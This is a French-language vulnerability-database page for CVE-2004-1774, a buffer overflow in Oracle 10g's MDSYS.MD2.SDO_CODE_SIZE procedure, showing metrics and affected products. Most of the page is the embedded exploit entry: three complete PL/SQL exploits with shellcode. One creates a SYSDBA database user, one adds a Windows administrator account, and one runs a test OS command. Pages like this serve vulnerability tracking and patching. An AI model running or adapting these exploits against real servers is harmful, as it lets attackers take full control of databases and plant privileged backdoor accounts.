CVE-2004-1774 : Détail

CVE-2004-1774

97.07%V3
Local
2005-04-19
02h00 +00:00
2017-07-10
12h57 +00:00
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Descriptions du CVE

Buffer overflow in the SDO_CODE_SIZE procedure of the MD2 package (MDSYS.MD2.SDO_CODE_SIZE) in Oracle 10g before 10.1.0.2 Patch 2 allows local users to execute arbitrary code via a long LAYER parameter.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 25397

Date de publication : 2005-04-12 22h00 +00:00
Auteur : Esteban Martinez Fayo
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/13145/info Oracle Database is reported prone to a buffer overflow vulnerability. Reportedly this issue affects the 'MDSYS.MD2.SDO_CODE_SIZE' procedure. An attacker can supply excessive data to an affected routine resulting in overflowing a destination buffer. This issue can be leveraged to execute arbitrary code and gain 'SYSDBA' privileges. It is conjectured that authentication is required to carry out an attack. This BID will be updated when more information is available. /* Advanced SQL Injection in Oracle databases Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4. Fixes available at http://metalink.oracle.com. The exploit creates a SYSDBA user ERIC with a password 'MYPSW12' By Esteban Martinez Fayo [email protected] */ DECLARE a BINARY_INTEGER; -- return value AAA VARCHAR2(32767); BEGIN AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227) /* 83C3 09 ADD EBX,9 FFE3 JMP EBX */ || CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB /* userenv.dll 78E35AFB 4B DEC EBX 78E35AFC FFD3 CALL EBX */ || CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) || chr(00) || chr(120) || chr(255) || chr(208) /* 36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13] 50 PUSH EAX B8 BF8E0178 MOV EAX,MSVCRT.system FFD0 CALL EAX B8 93830078 MOV EAX,MSVCRT._endthread FFD0 CALL EAX */ || 'echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql'||chr(38)||' echo GRANT DBA TO ERIC; >> c:\cu.sql '||chr(38)||' echo ALTER USER ERIC DEFAULT ROLE DBA; >> c:\cu.sql '||chr(38)||' echo GRANT SYSDBA TO "ERIC" WITH ADMIN OPTION; >> c:\cu.sql'||chr(38)||'echo QUIT >> c:\cu.sql '||chr(38)||' c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba" @c:\cu.sql 1> c:\stdout.log 2> c:\stderr.log'; a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA); END; -------------------------------------------------------------------------------------------------------- /* Advanced SQL Injection in Oracle databases Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4. Fixes available at http://metalink.oracle.com. The exploit creates a Windows user ERIC with Administrator privilege. By Esteban Martinez Fayo [email protected] */ DECLARE a BINARY_INTEGER; -- return value AAA VARCHAR2(32767); BEGIN AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227) /* 83C3 09 ADD EBX,9 FFE3 JMP EBX */ || CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB /* userenv.dll 78E35AFB 4B DEC EBX 78E35AFC FFD3 CALL EBX */ || CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) || chr(00) || chr(120) || chr(255) || chr(208) /* 36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13] 50 PUSH EAX B8 BF8E0178 MOV EAX,MSVCRT.system FFD0 CALL EAX B8 93830078 MOV EAX,MSVCRT._endthread FFD0 CALL EAX */ || 'net user admin2 /add '||chr(38)||' net localgroup Administradores admin2 /add '||chr(38)||' net localgroup ORA_DBA admin2 /add'; a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA); end; -------------------------------------------------------------------------------------------------------- /* Advanced SQL Injection in Oracle databases Proof of concept exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4. Fixes available at http://metalink.oracle.com. By Esteban Martinez Fayo [email protected] */ DECLARE a BINARY_INTEGER; -- return value AAA VARCHAR2(32767); BEGIN AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227) /* 83C3 09 ADD EBX,9 FFE3 JMP EBX */ || CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB /* userenv.dll 78E35AFB 4B DEC EBX 78E35AFC FFD3 CALL EBX */ || CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) || chr(00) || chr(120) || chr(255) || chr(208) /* 36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13] 50 PUSH EAX B8 BF8E0178 MOV EAX,MSVCRT.system FFD0 CALL EAX B8 93830078 MOV EAX,MSVCRT._endthread FFD0 CALL EAX */ || 'dir>c:\dir.txt'; -- OS command to execute a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA); END;

Products Mentioned

Configuraton 0

Oracle>>Application_server >> Version 10.1.0.2

Oracle>>Oracle10g >> Version enterprise_10.1.0.2

    Oracle>>Oracle10g >> Version personal_10.1.0.2

      Oracle>>Oracle10g >> Version standard_10.1.0.2

        Références

        http://www.securityfocus.com/bid/13145
        Tags : vdb-entry, x_refsource_BID